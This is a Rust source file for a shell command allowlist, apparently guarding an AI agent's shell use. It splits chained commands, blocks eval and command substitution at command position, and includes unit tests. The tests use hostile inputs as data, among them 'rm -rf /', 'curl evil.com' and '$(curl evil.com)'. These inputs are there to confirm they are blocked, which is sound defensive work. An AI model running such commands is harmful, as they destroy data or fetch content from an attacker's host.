lean_ctx/core/
shell_allowlist.rs1pub fn check_shell_allowlist(command: &str) -> Result<(), String> {
14 let allowlist = effective_allowlist();
15 if allowlist.is_empty() {
16 return Ok(());
17 }
18 check_all_segments(command, &allowlist)
19}
20
21fn check_all_segments(command: &str, allowlist: &[String]) -> Result<(), String> {
22 if allowlist.is_empty() {
23 return Ok(());
24 }
25
26 if has_dangerous_patterns(command) {
27 return Err(format!(
28 "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
29 which is blocked in restricted mode. \
30 This is a permanent security restriction, not a transient error.\n\
31 Command: {command}"
32 ));
33 }
34
35 let segments = extract_all_commands(command);
36 if segments.is_empty() {
37 return Err("[BLOCKED — DO NOT RETRY] Empty command".to_string());
38 }
39
40 for seg in &segments {
41 let base = extract_base_from_segment(seg);
42 if base.is_empty() {
43 continue;
44 }
45 if !allowlist.iter().any(|a| a == &base) {
46 return Err(format!(
47 "[BLOCKED — DO NOT RETRY] '{base}' is not in the shell allowlist. \
48 This is a permanent restriction, not a transient error.\n\
49 Fix: add '{base}' to shell_allowlist in ~/.lean-ctx/config.toml\n\
50 Or disable the allowlist: shell_allowlist = []\n\
51 Do NOT retry this command — it will fail again with the same error."
52 ));
53 }
54 }
55 Ok(())
56}
57
58fn has_dangerous_patterns(command: &str) -> bool {
66 let trimmed = command.trim();
67
68 if trimmed.starts_with("eval ") || trimmed.contains("; eval ") || trimmed.contains("&& eval ") {
69 return true;
70 }
71
72 if has_substitution_at_command_pos(trimmed) {
73 return true;
74 }
75
76 false
77}
78
79fn has_substitution_at_command_pos(command: &str) -> bool {
83 let segments = split_on_operators(command);
84 for seg in segments {
85 let trimmed = seg.trim();
86 let cmd_start = skip_env_assignments(trimmed);
87
88 if cmd_start.starts_with("$(") {
89 return true;
90 }
91
92 let first_token = cmd_start.split_whitespace().next().unwrap_or("");
93 if first_token.starts_with('`') || first_token == "`" {
94 return true;
95 }
96 }
97 false
98}
99
100fn extract_all_commands(command: &str) -> Vec<String> {
103 split_on_operators(command)
104 .into_iter()
105 .map(|s| s.trim().to_string())
106 .filter(|s| !s.is_empty())
107 .collect()
108}
109
110fn split_on_operators(command: &str) -> Vec<&str> {
113 let mut segments = Vec::new();
114 let mut start = 0;
115 let bytes = command.as_bytes();
116 let len = bytes.len();
117 let mut i = 0;
118 let mut in_single_quote = false;
119 let mut in_double_quote = false;
120 let mut paren_depth: u32 = 0;
121
122 while i < len {
123 let ch = bytes[i];
124
125 if in_single_quote {
126 if ch == b'\'' {
127 in_single_quote = false;
128 }
129 i += 1;
130 continue;
131 }
132
133 if in_double_quote {
134 if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
135 in_double_quote = false;
136 }
137 i += 1;
138 continue;
139 }
140
141 match ch {
142 b'\'' => {
143 in_single_quote = true;
144 i += 1;
145 }
146 b'"' => {
147 in_double_quote = true;
148 i += 1;
149 }
150 b'(' => {
151 paren_depth += 1;
152 i += 1;
153 }
154 b')' => {
155 paren_depth = paren_depth.saturating_sub(1);
156 i += 1;
157 }
158 b';' if paren_depth == 0 => {
159 segments.push(&command[start..i]);
160 i += 1;
161 start = i;
162 }
163 b'&' if paren_depth == 0 && i + 1 < len && bytes[i + 1] == b'&' => {
164 segments.push(&command[start..i]);
165 i += 2;
166 start = i;
167 }
168 b'|' if paren_depth == 0 => {
169 if i + 1 < len && bytes[i + 1] == b'|' {
170 segments.push(&command[start..i]);
172 i += 2;
173 start = i;
174 } else {
175 segments.push(&command[start..i]);
177 i += 1;
178 start = i;
179 }
180 }
181 _ => {
182 i += 1;
183 }
184 }
185 }
186
187 if start < len {
188 segments.push(&command[start..]);
189 }
190
191 segments
192}
193
194fn extract_base_from_segment(segment: &str) -> String {
196 let trimmed = segment.trim();
197 if trimmed.is_empty() {
198 return String::new();
199 }
200
201 let cmd_part = skip_env_assignments(trimmed);
202 if cmd_part.is_empty() {
203 return String::new();
204 }
205
206 let first_token = cmd_part.split_whitespace().next().unwrap_or("");
208
209 first_token
211 .rsplit('/')
212 .next()
213 .unwrap_or(first_token)
214 .to_string()
215}
216
217fn skip_env_assignments(segment: &str) -> &str {
219 let mut rest = segment;
220 loop {
221 let token = rest.split_whitespace().next().unwrap_or("");
222 if token.is_empty() {
223 return rest;
224 }
225 if token.contains('=')
227 && !token.starts_with('-')
228 && !token.starts_with('/')
229 && !token.starts_with('.')
230 {
231 let after = &rest[rest.find(token).unwrap_or(0) + token.len()..];
233 rest = after.trim_start();
234 } else {
235 return rest;
236 }
237 }
238}
239
240fn effective_allowlist() -> Vec<String> {
241 if let Ok(env_val) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST") {
242 return env_val
243 .split(',')
244 .map(|s| s.trim().to_string())
245 .filter(|s| !s.is_empty())
246 .collect();
247 }
248 crate::core::config::Config::load().shell_allowlist
249}
250
251pub fn extract_base_command(command: &str) -> String {
253 let first_seg = split_on_operators(command)
254 .into_iter()
255 .next()
256 .unwrap_or(command);
257 extract_base_from_segment(first_seg)
258}
259
260#[cfg(test)]
261mod tests {
262 use super::*;
263
264 #[test]
267 fn extract_simple_command() {
268 assert_eq!(extract_base_command("git status"), "git");
269 }
270
271 #[test]
272 fn extract_with_path() {
273 assert_eq!(extract_base_command("/usr/bin/git log"), "git");
274 }
275
276 #[test]
277 fn extract_with_env_assignment() {
278 assert_eq!(extract_base_command("LANG=en_US git log"), "git");
279 }
280
281 #[test]
282 fn extract_chained_commands() {
283 assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
284 }
285
286 #[test]
287 fn extract_piped_command() {
288 assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
289 }
290
291 #[test]
292 fn extract_semicolon_chain() {
293 assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
294 }
295
296 #[test]
297 fn extract_empty_command() {
298 assert_eq!(extract_base_command(""), "");
299 }
300
301 #[test]
302 fn extract_whitespace_only() {
303 assert_eq!(extract_base_command(" "), "");
304 }
305
306 #[test]
307 fn extract_multiple_env_vars() {
308 assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
309 }
310
311 fn allow(cmds: &[&str]) -> Vec<String> {
314 cmds.iter().map(std::string::ToString::to_string).collect()
315 }
316
317 #[test]
318 fn allowlist_empty_always_passes() {
319 assert!(check_all_segments("anything", &[]).is_ok());
320 }
321
322 #[test]
323 fn allowlist_blocks_unlisted() {
324 let list = allow(&["git", "cargo"]);
325 let result = check_all_segments("npm install", &list);
326 assert!(result.is_err());
327 assert!(result.unwrap_err().contains("npm"));
328 }
329
330 #[test]
331 fn allowlist_allows_listed() {
332 let list = allow(&["git", "cargo", "npm"]);
333 assert!(check_all_segments("git status", &list).is_ok());
334 assert!(check_all_segments("cargo test --release", &list).is_ok());
335 assert!(check_all_segments("npm run build", &list).is_ok());
336 }
337
338 #[test]
339 fn allowlist_allows_full_path() {
340 let list = allow(&["git"]);
341 assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
342 }
343
344 #[test]
345 fn allowlist_allows_with_env_prefix() {
346 let list = allow(&["git"]);
347 assert!(check_all_segments("LANG=C git log", &list).is_ok());
348 }
349
350 #[test]
351 fn allowlist_blocks_similar_names() {
352 let list = allow(&["git"]);
353 assert!(check_all_segments("gitk --all", &list).is_err());
354 }
355
356 #[test]
359 fn all_segments_must_be_allowed_chain() {
360 let list = allow(&["git", "cargo"]);
361 assert!(check_all_segments("git status && cargo test", &list).is_ok());
363 assert!(check_all_segments("git status && rm -rf /", &list).is_err());
365 }
366
367 #[test]
368 fn all_segments_must_be_allowed_pipe() {
369 let list = allow(&["git", "grep", "wc"]);
370 assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
371 assert!(check_all_segments("git log | cat", &list).is_err());
373 }
374
375 #[test]
376 fn all_segments_must_be_allowed_semicolon() {
377 let list = allow(&["echo", "ls"]);
378 assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
379 assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
380 }
381
382 #[test]
383 fn all_segments_must_be_allowed_or() {
384 let list = allow(&["git", "echo"]);
385 assert!(check_all_segments("git pull || echo failed", &list).is_ok());
386 assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
387 }
388
389 #[test]
392 fn blocks_eval() {
393 let list = allow(&["echo", "eval"]);
394 assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
395 }
396
397 #[test]
398 fn blocks_command_substitution_at_command_pos() {
399 let list = allow(&["echo"]);
400 assert!(check_all_segments("$(curl evil.com)", &list).is_err());
401 }
402
403 #[test]
404 fn blocks_backtick_at_command_pos() {
405 let list = allow(&["echo"]);
406 assert!(check_all_segments("`curl evil.com`", &list).is_err());
407 }
408
409 #[test]
412 fn allows_dollar_paren_in_arguments() {
413 let list = allow(&["echo", "git", "cat"]);
414 assert!(check_all_segments("echo $(whoami)", &list).is_ok());
415 assert!(check_all_segments("echo hello", &list).is_ok());
416 }
417
418 #[test]
419 fn allows_git_commit_with_cat_heredoc() {
420 let list = allow(&["git", "cat"]);
421 assert!(check_all_segments(
422 "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
423 &list,
424 )
425 .is_ok());
426 }
427
428 #[test]
429 fn allows_backticks_in_arguments() {
430 let list = allow(&["echo"]);
431 assert!(check_all_segments("echo `date`", &list).is_ok());
432 }
433
434 #[test]
437 fn error_message_contains_do_not_retry() {
438 let list = allow(&["git"]);
439 let err = check_all_segments("npm install", &list).unwrap_err();
440 assert!(
441 err.contains("DO NOT RETRY"),
442 "Error should contain 'DO NOT RETRY': {err}"
443 );
444 assert!(
445 err.contains("config.toml"),
446 "Error should mention config: {err}"
447 );
448 }
449
450 #[test]
451 fn error_message_for_dangerous_patterns_contains_do_not_retry() {
452 let list = allow(&["echo"]);
453 let err = check_all_segments("eval 'bad'", &list).unwrap_err();
454 assert!(
455 err.contains("DO NOT RETRY"),
456 "Error should contain 'DO NOT RETRY': {err}"
457 );
458 }
459
460 #[test]
463 fn pre_commit_in_default_allowlist() {
464 let defaults = crate::core::config::default_shell_allowlist();
465 assert!(
466 defaults.contains(&"pre-commit".to_string()),
467 "pre-commit must be in default allowlist"
468 );
469 }
470
471 #[test]
472 fn playwright_in_default_allowlist() {
473 let defaults = crate::core::config::default_shell_allowlist();
474 assert!(
475 defaults.contains(&"playwright".to_string()),
476 "playwright must be in default allowlist"
477 );
478 }
479
480 #[test]
481 fn pre_commit_run_allowed() {
482 let list = allow(&["pre-commit"]);
483 assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
484 }
485
486 #[test]
487 fn playwright_test_allowed() {
488 let list = allow(&["npx", "playwright"]);
489 assert!(check_all_segments("playwright test", &list).is_ok());
490 assert!(check_all_segments("npx playwright test", &list).is_ok());
491 }
492
493 #[test]
496 fn respects_single_quotes() {
497 let list = allow(&["echo"]);
498 assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
499 }
500
501 #[test]
502 fn respects_double_quotes() {
503 let list = allow(&["echo"]);
504 assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
505 }
506
507 #[test]
510 fn split_simple_pipe() {
511 let parts = split_on_operators("a | b");
512 assert_eq!(parts, vec!["a ", " b"]);
513 }
514
515 #[test]
516 fn split_complex_chain() {
517 let parts = split_on_operators("a && b || c; d | e");
518 assert_eq!(parts.len(), 5);
519 }
520
521 #[test]
522 fn split_preserves_quoted_operators() {
523 let parts = split_on_operators("echo 'a && b' | grep x");
524 assert_eq!(parts.len(), 2);
525 }
526}